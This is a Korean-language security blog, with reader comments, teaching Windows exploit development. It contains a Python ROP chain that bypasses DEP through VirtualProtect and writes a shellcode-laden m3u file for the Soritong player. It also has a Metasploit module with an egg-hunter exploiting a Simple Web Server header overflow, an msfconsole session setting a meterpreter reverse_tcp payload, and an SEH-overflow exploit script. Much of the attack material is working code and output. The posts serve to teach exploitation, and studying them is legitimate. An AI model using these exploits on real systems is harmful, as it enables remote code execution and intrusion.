RETN rop_param2 += padding # ======== make param3 ====== # param3 = 0x300 rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param3 += padding # ========= make param4 ====== # param4 = 0x40 rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN rop_param4 += padding rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param4 += padding # ======== jump virtualprotect ======= # rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN # ======== payload ======== # shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc"

shellcode +="\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" nops = "\x90" * 260

payload = s + eip + rop0 + rop_jump + \ rop_virtual + rop_ret + rop_lpaddr + rop_size + rop_newprotect + rop_writable + \ rop_param1 + rop_param2 + rop_param3 + rop_param4 + rop_virtual_jump + nops + shellcode

f = open('rop.m3u','w') f.write(payload) f.close()



이 코드를 실행하여 생성된 rop.m3u 파일을 넣고 실행하여 보면 DEP 를 우회하여 쉘이 실행되는 것을 확인할 수 있


다. :)








 ps. 쓰고보니 너무 기네요 . ㅎㅎ 읽느라 수고하셨습니다.

토닥토닥




  1. BlogIcon Leopardan 2013.06.18 14:12 신고

    역시 현민이형 乃

  2. binish 2013.06.24 11:17

    이리 열심히 공부하다니,, /토닥토닥/

  3. craft 2013.06.25 15:39

    잘보고갑니다~ ^^

  4. msBang 2013.06.28 10:05

    언제나 멋지십니다. ^^

  5. Happy 2015.09.09 22:00

    멋짐 ㅋㅋㅋ


오랫만에 windows 카테고리에 글을 올린다. 


이전까지 했던 bufferoverflow 는 DEP 를 고려하지 않은 기본 상태의 윈도우가 대상이었다.


이번에는 ROP를 이용하여  DEP를 우회할 수 있음을 확인해 보자. 


# DEP ( Data Execution Prevention)

  • 데이터 실행 방지(Data Execution Prevention, DEP)는 현대의 마이크로소프트 윈도 운영 체제에 포함된 보안 기능이며, 실행 방지 메모리 영역의 실행 코드에서응용 프로그램이나 서비스가 실행되지 못하게 막기 위해 고안된 것이다. 이를테면 버퍼 오버플로를 통한 코드를 저장하는 특정한 이용을 막을 수 있다. DEP는 두 가지 모드로 실행된다.:
  • CPU를 위한 하드웨어 강화 DEP: 메모리 페이지를 실행 불가능 상태로 표시한다.
  • 소프트웨어 강화 DEP: CPU가 하드웨어적으로 데이터 실행 방지를 지원하지 못하는 경우 이를 사용한다.

  DEP는 윈도 XP 서비스팩 2에 도입되었으며 윈도 XP 태블릿 PC 에디션 2005, 윈도 서버 2003 서비스팩 

 1, 도 비스타에 포함되어 있다. 나중에 나오는 운영 체제들은 이 기능을 여전히 지원하고 있다.

- 위키피디아 - 


즉, bufferoverflow 를 통한 임의의 코드 실행을 막기 위해 운영체제에 도입된 기능(물론 *nix 에도 있다) 이며,


크게 S/W DEP 와 H/W DEP 가 존재한다. 하지만 최근 CPU는 대부분 DEP를 지원하므로 일반적으로 DEP라 함은


H/W DEP 를 말한다고 생각하면 된다.




# DEP 의 종류


 종류

설명 

 OptIn

지정된 바이너리만 보호 

 OptOut

지정된 바이너리를 제외하고 모두 보호

 AlwaysOn

모든 프로세스를 보호

 AlwaysOff

모든 프로세스를 보호하지 않음 




# OS버전별 DEP 기본정책


 종류

설명 

 Windows XP SP2~, Vista SP0

OptIn

Windows VIsta SP1~

OptIn + AlwaysOn + Permanent DEP

 Windows 7

OptOut + AlwaysOn + Permanent DEP

Windows Server 2003 Sp1~

OptOut 

 Windows Server 2008~

 OptOut + AlwaysOn + Permanent DEP





# DEP가 적용된 후의 bof 공격


[ 그림1 ] DEP 설정 변경




[ 그림2 ] DEP로 인한 실행 방지



일반적인 BOF 시도시 실행권한이 없는 스택영역에서 코드실행이 시도되므로 위와 같이 DEP에 의해 차단된다. 즉 공


격이 성공하기 위해서는 먼저 DEP를 무력화 시켜야 한다. 이 DEP를 무력화 하는 데에는 여러 가지 방법이 존재하며, 


현재 DEP의 상태와 바이너리 상태에 따라 선택하면 된다.



# DEP 우회를 위한 Windows API 체인

 API 체인

설명 

VirtualProtect()

메모리 영역 실행권한 변경

 VirtualAlloc() + memcpy()

            실행가능한 새로운 메모리 할당 후 쉘코드 복사

HeapCreate() + HeapAlloc() + memcpy()

VirtualAlloc 과 유사

SetProcessDEPPolicy()

실행중인 프로세스의 DEP 정책 변경

NtSetInformationProcess()

실행중인 프로세스의 DEP 정책 변경 

WriteProcessMemory()

쉘코드를 쓰기/실행 가능한 영역에 복사하여 실행


위의 API 체인 외에도 전형적인 RTL(Return To Library) 방식으로도 우회가 가능하다. 이 경우에도 ROP를 통해 


인자값을 구성해 주어야 한다.



# VirtualProtect() 를 활용한 DEP 우회


위와 같이 DEP를 우회하는 방법은 다양하다. 상황에 따라 적용하면 되며, 이번에는 VirtualProtect() API 를 이용하여


우회를 해 보자. 먼저 함수의 인자값을 살펴보자.




첫번째 인자 ( lpaddress ) 는 변경할 주소값, 두번째 인자는 변경할 메모리 크기, 세번째 인자는 변경할 Flag(RWX등)


네번쨰 인자는 현재의 Flag 를 저장할 주소다. 이러한 인자값의 구성은 ROP 를 통해 이루어 지며, 먼저 ROP 에 대해


간략히 알아보자.





# ROP 기본 개념


ROP(Return Oriented Programming) 이란, Gadget(RET 로 끝나는 특정 명령 집합) 을 연속으로 호출하여 원하는 


명령을 수행하도록 하는 것이다. 기본적인 개념은 RTL 과 비슷하다. 코드 영역에 있는 영역으로 jump 하여 원하는


명령을 수행한 후, RET 명령을 통해 다시 원래의 스택으로 돌아오고, 다시 다음 가젯을 실행하는 식으로 명령 조각을


실행해 나가는 것이다. 이해를 쉽게 하기 위해 예를 들어보도록 하자.


 ※ RET = POP EIP 의 명령과 동일하므로 스택에 있는 가젯 주소를 차례대로 불러와 실행하게 된다.




# 가젯 예제

 ex1) ESP+18 

   -> ESP+18, RETN  


 ex2) MOV ESI, EAX

   -> PUSH ESI, POP EAX, RETN 



위와 같은 방식으로 목표한 명령이 포함된 가젯을 찾아서 연결해 주면 된다. 이러한 가젯을 쉽게 찾을 수 있도록


도와주는 몇가지 툴이 존재한다. (ropeme, pvefindaddr, mona.py 등) 이는 다음에 자세히 알아보도록 할 것이다.


ex1) ESI 에 0x60  값을 저장

 XOR EAX,EAX / RETN

 EAX 를 0으로 초기화

 ADD EAX,0x30 / RETN

 EAX 에 0x30 을 더함 

 ADD EAX,0x30 / RETN

 EAX 에 0x30 을 더함  

 PUSH EAX / POP ESI / RETN 

 스택을 통해 ESI 에 0x60 저장 


위와 같이 가젯을 4번 호출하여 원하는 명령어인 MOV ESI,0x60 과 동일한 명령을 수행하도록 만들어 냈다.


이러한 원리를 이용하여 DEP 우회를 위한 인자값을 구성하여 준 뒤 함수를 호출하게 되며, 함수 호출 후 쉘코드로


이동하여 기존의 BOF 공격과 동일하게 쉘코드를 실행시키게 된다.





# 신뢰성 있는 가젯을 찾기 위한 조건


 - 가젯의 주소에 0x00 이 없어야 함


 - 가젯이 존재하는 모듈은 ASLR 이 적용되지 않아야 함


 - 가젯이 존재하는 모듈은 재배치 되지 않아야 함 ( DLL Rebase ) 





# 기존 Direct RET Overwrite 의 스택 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Jump to Shellcode

 쉘코드로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 jmp esp 등

 - seh based exploit 의 경우 주로 pop pop ret 사용

   ( nseh + seh + nop + shellcode )

 3

 Nop + Shellcode

 



# VirtualProtect() 를 위한 가젯 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for VirtualProtect Parameter1

 Parameter1 값 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter2 

 Parameter2 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter4

 Parameter4 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address




언뜻 봐도 기존의 ret 를 직접 덮어쓰는 exploit 에 비교해 훨씬 복잡해 보인다. 실제로 매우 복잡하다. 


이제 다음 블로깅에서는 직접 immunity debugger 를 활용하여 exploit 을 만들어 보자.




  1. craft 2013.06.25 15:36

    잘보고갑니다~^^

  2. jin 2013.08.09 07:41

    수고하십니다. 글 읽다가 궁금한 부분이 있어 질문드립니다.
    Ex1)에서 뒤에 ret는 무슨 의미인가요?
    명령어 실행뒤에 다시 ret한다는 의미인가요?
    보시고 조언 좀 부탁드립니다 ^^


이번 주제는 Metasploit 을 활용하여 exploit 을 제작하는 것입니다.


exploit 을 제작할 때 물론 perl, python, ruby 등의 스크립트 언어도 많이 이용하지만, 실용성을 높이려면 exploit 


framework 인 metasploit 을 이용하여 제작하는 것이 좋습니다. metasploit 은 무료임에도 불구하고(물론 유료 버전도 


존재합니다만, GUI 일 뿐 그다지 크게 좋은지는 모르겠습니다.) 기본적인 exploit 골격을 제공할 뿐 아니라 공격 후의 


payload , encoder 등의 다양한 도구까지 제공해 줍니다. 즉, 사용자는 그저 발견한 취약점에 특화된 부분(offset 등) 


만을 추가하면 됩니다. 


=========================================================================================================



이번에 사용될 프로그램은 나름 최근(2012-07-19, http://www.exploit-db.com/exploits/19937/)에 발표한 Simple 


Web Server 2.2 rc2 이다. 이 프로그램은 HTTP Protocol 을 파싱하는 과정에서 Connection: 헤더를 읽어올 때 전형


적인 BOF 가 발생한다.



# simple web server 2.2-rc2 버전


해당 프로그램은 아래와 같이 웹서버의 역할을 하도록 해주는 어플리케이션이며, 간단히 접속 테스트를 해보았다.







# 공개된 취약점을 이용한 exploit 코드 제작


crash 가 발생하는 offset 이 2048 인 것만 알면 그다지 어려울 것은 없다. 단순히 junk 를 채우고 eip 를 덮어 씌운 뒤 


쉘코드를 입력하면 된다. 쉘코드가 긴 것을 별로 좋아하지 않아 메타스플로잇이 생성해준 것 대신 개인적으로 만든 쉘


코드를 사용한다. 실행만 되면 되잖아 :) 

 

 

# 45 바이트 쉘코드 ( 한글 xp sp3 에서만 동작함. 함수주소가 하드코딩 되어 있으므로 )

"\x55\x8b\xec\x83\xec\x44\x33\xc9\x88\x4d\xff\xc6\x45\xfc\x63"

"\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8"

"\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0"







# 해당 공격코드를 실행하여 대상PC에 쉘코드가 실행됨을 확인



공격 코드 실행하면 위와 같이 대상 PC 에서 쉘이 뜬다. 이제 exploit 코드를 작성했으니, 활용성을 높이기 위해 메타


스플로잇으로 포팅해보자. 메타스플로잇으로 코드를 작성해 두면 때에 따라 원하는 payload 를 실행할 수 있으며 매


번 프로그래밍을 다시 하는 단순 작업을 피할 수 있다.




# 메타스플로잇 모듈 작성


 - 모듈 위치 : /opt/framework/msf3/modules/   ( 아래와 같이 각 OS 별로 정리되어 있음 )

 - 모듈 언어 : ruby

 

 root@hyunmini:/opt/framework/msf3/modules/exploits# ls

aix  bsdi  dialup  freebsd  hpux  irix  linux  multi  netware  osx  solaris  unix  windows


새로운 모듈을 처음부터 작성하기 보단, 이미 완성된 수많은 훌륭한 익스플로잇을 복사하여 수정하자 ( -_- ㅋ)


몇 번 해보면 알겠지만 정해진 틀에 맞추어 offset, payload, header 등만을 수정해 주면 된다.


여기에선 windows/misc 내부의 익스플로잇을 하나 복사해서 썼다.



 require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote     // 리모트 익스플로잇 모듈 상속

Rank = GoodRanking                         // 익스플로잇의 신뢰도

include Msf::Exploit::Remote::Tcp       


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',     // 익스플로잇 모듈명

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.  // 설명

},

'Author'         => [ 'hyunmini' ],          // 제작자

'License'        => MSF_LICENSE,       // 라이센스

'Version'        => '$Revision: 7777 $' , // 버전 (자체적인 버전을 의미)

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],   

                                 // 참고 URL 이나 취약점 분류코드 등

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',          // 기본 옵션값 세팅

},


'Privileged'     => true,

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],  // OS, 패치별 ret 주소 

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)      // exploit 옵션 추가 및 디폴드값 설정

end


def exploit   // 실제 exploit 명령 시 실행되는 함수 

connect


sploit = "\x41" *  2048

sploit << [target.ret].pack('V')    // payload 에서 설정한 ret 주소가 자동 설정됨

                sploit << payload.encode   // 인코딩된 쉘코드


res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)  // 패킷 전송

print_status("OK!! Exploitation Done !!")

handler   // metasploit 핸들러

disconnect

end

end





크게 어려운 것은 없다. 대부분 위와 같은 형식을 가지고 있으며 보면 알겠지만 ret 주소, 익스플로잇 공간 등 일부분만 


수정해주면 된다.



# payload 설정 부분

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

}, 


Space 는 metasploit 을 이용하여 payload 를 지정할 때, 이용할 수 있는 최대한의 버퍼 크기이다. bof 의 경우 eip 를 


덮은 이후 jmp esp 등으로 쉘코드를 실행시킨다. 즉 버퍼이후 부터 쉘코드의 끝지점 정도가 payload 를 넣을 수 있는 


크기가 될 것이고, 생각보다 크지 않다. 일반적인 범용적인 쉘코드(자동 생성된)의 경우 3~500 바이트 정도의 크기이


다. 물론 직접 가지고 있는 쉘코드를 입력해서 사용하면 더 작은 공간만으로도 payload 구성이 가능하며, 이후에 알아


볼 테크닉인 egg hunting 이라는 기술을 통해 쓰레기값 대신 쉘코드를 버퍼 앞쪽에 넣고, egg(쉘코드 시작점을 알리


는 태그 정도로 보면 된다) 를 찾는 방법으로 더 넓은 공간을 확보할 수 있다.





그런데, 실행해보면 정상적으로 공격코드가 실행되지 않는 것을 볼 수 있다. wireshark 로 패킷을 잡아보면 분명히 패


킷은 전송이 되는데 실행이 되지 않는다. 이유는 위에서도 설명한 payload 문제이다. 



# 인코딩 된 쉘코드

 root@hyunmini # msfpayload windows/exec cmd=calc c | msfencode -e x86/alpha_mixed

[*] x86/alpha_mixed succeeded with size 1980 (iteration=1)


buf = 

"\x89\xe5\xdb\xd4\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" +

"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +

"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +

"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +

"\x42\x75\x4a\x49\x66\x4f\x65\x7a\x56\x6a\x55\x70\



위와 같이 인코딩을 하게 되면 용량이 훌쩍 커진다. 물론 알고리즘에 따라 다르긴 하지만, 보통 500 정도는 된다. 00, 


0a 등의 badchar 때문에 인코딩을 안하면 payload 가 정상적으로 입력이 안될 수 있으므로 인코딩은 항상 해주는 것


이 좋다. 어쨋건 이런 부분 때문에 항상 space 가 충분한지 확인을 하고, 공간이 너무 적다면 egg-hunting 을 통해 버


퍼의 앞부분에 쉘코드를 입력할 공간을 마련하는 것이 좋다. egg-hunting에 대한 자세한 포스팅은 이후에 다시 할 예


정이니 우선 완성된 코드로 진행을 해 보겠다. 우선은 개념 정도만 알고 넘어가자.



# Egg-hunting 개념으로 쉘코드가 앞부분에 위치하는 payload 로 구성한 완성된 exploit


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.

},

'Author'         => [ 'hyunmini' ],

'License'        => MSF_LICENSE,

'Version'        => '$Revision: 7777 $',

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},


'Privileged'     => true,

'Payload'        =>

{

'Space'    => 1000,

'BadChars' => "\x00\x0a\x0d\x3a\x20",

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)

end


def exploit

connect


sploit = rand_text_alpha_upper( 2048 - "w00tw00t".length - (payload.encode).length )

sploit << "w00tw00t"   // egg (tag)

sploit << payload.encode

sploit << [target.ret].pack('V')

sploit <<            // egg-hunting code "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8w00t\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)

print_status("OK!! Exploitation Done !!")

handler

disconnect

end

end


 



자 위의 코드로 다시 공격을 해보자.



root # msfconsole

          .....

          ....


msf > use exploit/windows/misc/hyunmini 

msf  exploit(hyunmini) > set rhost 192.168.48.3

rhost => 192.168.48.3

msf  exploit(hyunmini) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(hyunmini) > set lport 7777

lport => 7777

msf  exploit(hyunmini) > show options 


Module options (exploit/windows/misc/hyunmini):


   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   RHOST  192.168.48.3     yes       The target address

   RPORT  80               yes       The target port



Payload options (windows/meterpreter/reverse_tcp):


   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none

   LHOST                      yes       The listen address

   LPORT     7777             yes       The listen port



Exploit target:


   Id  Name

   --  ----

   0   Windows XP SP3 - KOR



msf  exploit(hyunmini) > set lhost 192.168.48.128

lhost => 192.168.48.128

msf  exploit(hyunmini) > exploit







공격이 성공하고 쉘이 얻어진 것을 확인 할 수 있다. 


더이상의 설명은 생략한다 ( -_- !)




수고하셨습니다~ ㅎㅎ 


토닥토닥







앞서 글(http://hyunmini.tistory.com/11) 에서 익힌 seh 취약점이 실제 어플리케이션 상에서 어떻게 이용될 수 있는지


확인해 보겠습니다. 해당 글에 사용된 프로그램은 soritong 플레이어라는 오래된 뮤직 플레이어 프로그램 입니다. 다


양한 부분에 BOF 취약점이 존재하며, 이 글에서는 재생목록파일(m3u)을 로딩할 때 lstrcpy 를 이용함으로 인해 발생


하는 취약점을 이용하겠습니다.




# 테스트 환경

   - 한글 Windows SP3 / VMware




# 취약한 "소리통 플레이어1.0" 프로그램


위와 같이 m3u 파일 ( 플레이리스트 ) 을 읽어올 때 BOF  취약점이 존재한다. 확인을 위해 악성 파일을 만들어 보자.



# malfile.py

=============================================================================================
import sys

import struct

a = "A"*5000

f = open('t1.m3u','w')

f.write(a)

f.close()


이제 이 파일을 드래그 하거나 오픈 메뉴를 이용해 열어 보면, 오류가 발생하면서 프로그램이 종료 된다.





View -> SEH 메뉴를 통해 SEH 핸들러와 prev handler 포인터가 덮어씌워 졌음을 알 수 있다. 이제 이전 글에서 공부


했던 개념을 그대로 적용하여 exploit 을 작성하면 된다. 



1) crash 확인

2) exploitable 한지 확인 ( eip / seh 등이 조작 가능한지 )

3) offset 확인

4) exploit 작성



1,2 는 이미 확인을 했고, offset 을 확인하기 위해서 metasploit 에서 제공하는 툴인 pattern_create.rb 를 사용한다. 


사용법은 pattern_create [number] 이며, 이 패턴과 pattern_offset.rb 을 이용해서 offset을 확인 할 수 있다.

( 이런 부분을 명령어로 간단히 해결 해주는 확장 모듈들이 있습니다. 나중에 천천히.. )



/opt/framework/msf3/tools# ./pattern_create.rb 5000

"Aa0Aa1......"   // 복사해서 사용


# malfile.py

=============================================================================================

import sys

import struct

t = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8....(생략)..."

f = open('t1.m3u','w')

f.write(t)

f.close() 



이제 프로그램을 다시 실행시키고 이 패턴이 입력된 m3u 파일을 로딩해보자. 아래와 같이 특정 값에서 EIP 가 변경됨


을 알 수 있다. 주의할 점은 SEH chain 을 보면 알 수 있듯이 EIP 는 SE Handler 가 덮어씌워져서 변경된 것이라는 것


이다.





/opt/framework/msf3/tools# ./pattern_offset.rb 41386941 5000

264


이때 오프셋 계산은 264-4 = 260 을 junk 로 계산하면 된다.





# SEH Overflow 에서의 Payload 구성



[          junk          ][     nseh   ][      seh      ][ nop ][  shellcode ] 


[AAAAAAAA..........][ short jmp ][pop pop ret][ 0x90][ \x58\xeb..]

                                      (2)             (1)           (3)         (4)



(1)  이전 글에서 확인했듯이 nseh 의 주소가 들어있는 스택주소를 이용하면 된다. 이해가 안가면 

      (http://hyunmini.tistory.com/11) 를 다시 확인해 보자.


(2) (1) 에서의 pop pop ret ( 기타 점프, call 등의 명령어도 가능하다. 핸들러가 실행될 당시의 스택에서 nseh 주소가 

      저장된 스택주소로 돌아가기만 하면 된다. ) 가 실행되어 nseh 로 돌아오게 되면, 입력된 쉘코드 부분으로 건너뛰

      기 위해 short jmp 명령을 이용한다.  ( \xeb\x10 , \xeb\x20 등 ) 


(3) nop 를 지나 (4) 쉘코드가 실행되고 원하는 명령이 실행되게 된다.




# windbg 를 이용하여 코드 조각 찾기






aslr 이 적용되지 않은 xp 이므로 아무 모듈에서나 사용하면 된다.




# exploit


import sys

import struct


nseh = "\xeb\x10\x90\x90"    // (2) short jmp

eip = struct.pack('<I', 0x1001e0c7)  // (1) pop pop ret

nop = "\x90"*20   // (3) nop sled

shellcode="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45" 

shellcode+="\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0" // (4)shellcode

f = open('t1.m3u','w')

f.write("\x90"*260 + nseh + seh + nop + shellcode + nop*200)

f.close()



자 이제 생성된 파일을 실행해서 exploit 이 동작하는지 확인해 보자.


실행 한 뒤에 먼저 pop pop ret 코드를 찾았던 주소에 브레이크 포인트를 걸고 따라가보자.



정상적으로 offset 을 계산하고 exploit 을 제작했으면 아래와 같이 입력한 주소에서 멈췄을 것이다. 






한땀한땀 F8 을 누르면서 차분히 쫓아가보자. ret 까지 실행하고 나면 아래와 같이 미리 입력했던 jmp 로 돌아가게 될 


것이다.( nSEH ) 이제 점프를 해서 쉘코드를 향해 달려보자.




점프를 하고 조금 nop 썰매를 타고 달리다 보면 쉘코드가 보인다.




쉘코드를 마저 실행하고 나면 아래와 같이 쉘이 뜨는 것을 확인할 수 있다. ^^




수고하셨습니다. @_@





















 





  1. 0000 2012.11.20 19:44

    Nseh pop pop ret은 왜해주는건가요?

    • 지나가던사람 2013.12.29 14:15

      실행되고있던 함수들을 끝내서 오류를 없애기 위함이 아닐까요?

    • BlogIcon 사피라스 2015.07.22 20:25

      엄청 오래되긴 했지만....
      처음에 eip가 실행되서 pop pop ret 을 실행하면 Nseh 인 Short jmp가 실행되면서 nop 코드 쪽으로가서 Shell 이 실행되는 원리일것 같네요!!



기본적인 버퍼오버플로우를 방지하기 위한 /GS 옵션으로 컴파일된 파일 (  Security Cookie ) 에 


대한 우회기법입니다. SEH Overflow 로 알려진 기본적인 기법중 한가지 입니다.



windows_bufferoverflow(2)-SEH Overflow.pdf



# 유용한 Windbg 확장 모듈    



1. !exploitable  


  - MSEC 에서 개발한 crash analyze 모듈로, exception 이 발생한 상태에서 해당 명령을 통해 실제 exploitable 한 

     지 여부를 알려준다. 


  - down: http://msecdbg.codeplex.com/releases/view/28935

  

  - 설치 : msec.dll 모듈을 디버거가 설치된 폴더의 winext 서브폴더에 복사(windbg 재시작)


  - usage : 

    > !load winext/msec.dll

    > !exploitable


ex) 아래와 같이 소프트웨어에서 예외가 발생하였을때 exploitable 한지 확인하기 위해 사용 가능


 0:000> !exchain

TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\oca.ini, error 2

TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\winxp\triage.ini, error 2

TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\user.ini, error 2

0012fa84: 41414141


0:000> !exploitable

Exploitability Classification: EXPLOITABLE

Recommended Bug Title: Exploitable - User Mode Write AV starting at SoriTong!MmutilityC8_4+0x0000000000000c53 (Hash=0x62360131.0x10454c60)


User mode write access violations that are not near NULL are exploitable.





윈도우 환경에서의 기본적인 stack bufferoverflow 에 관한 글입니다. ^-^



windows_bufferoverflow(1)-basic bof.pdf


+ Recent posts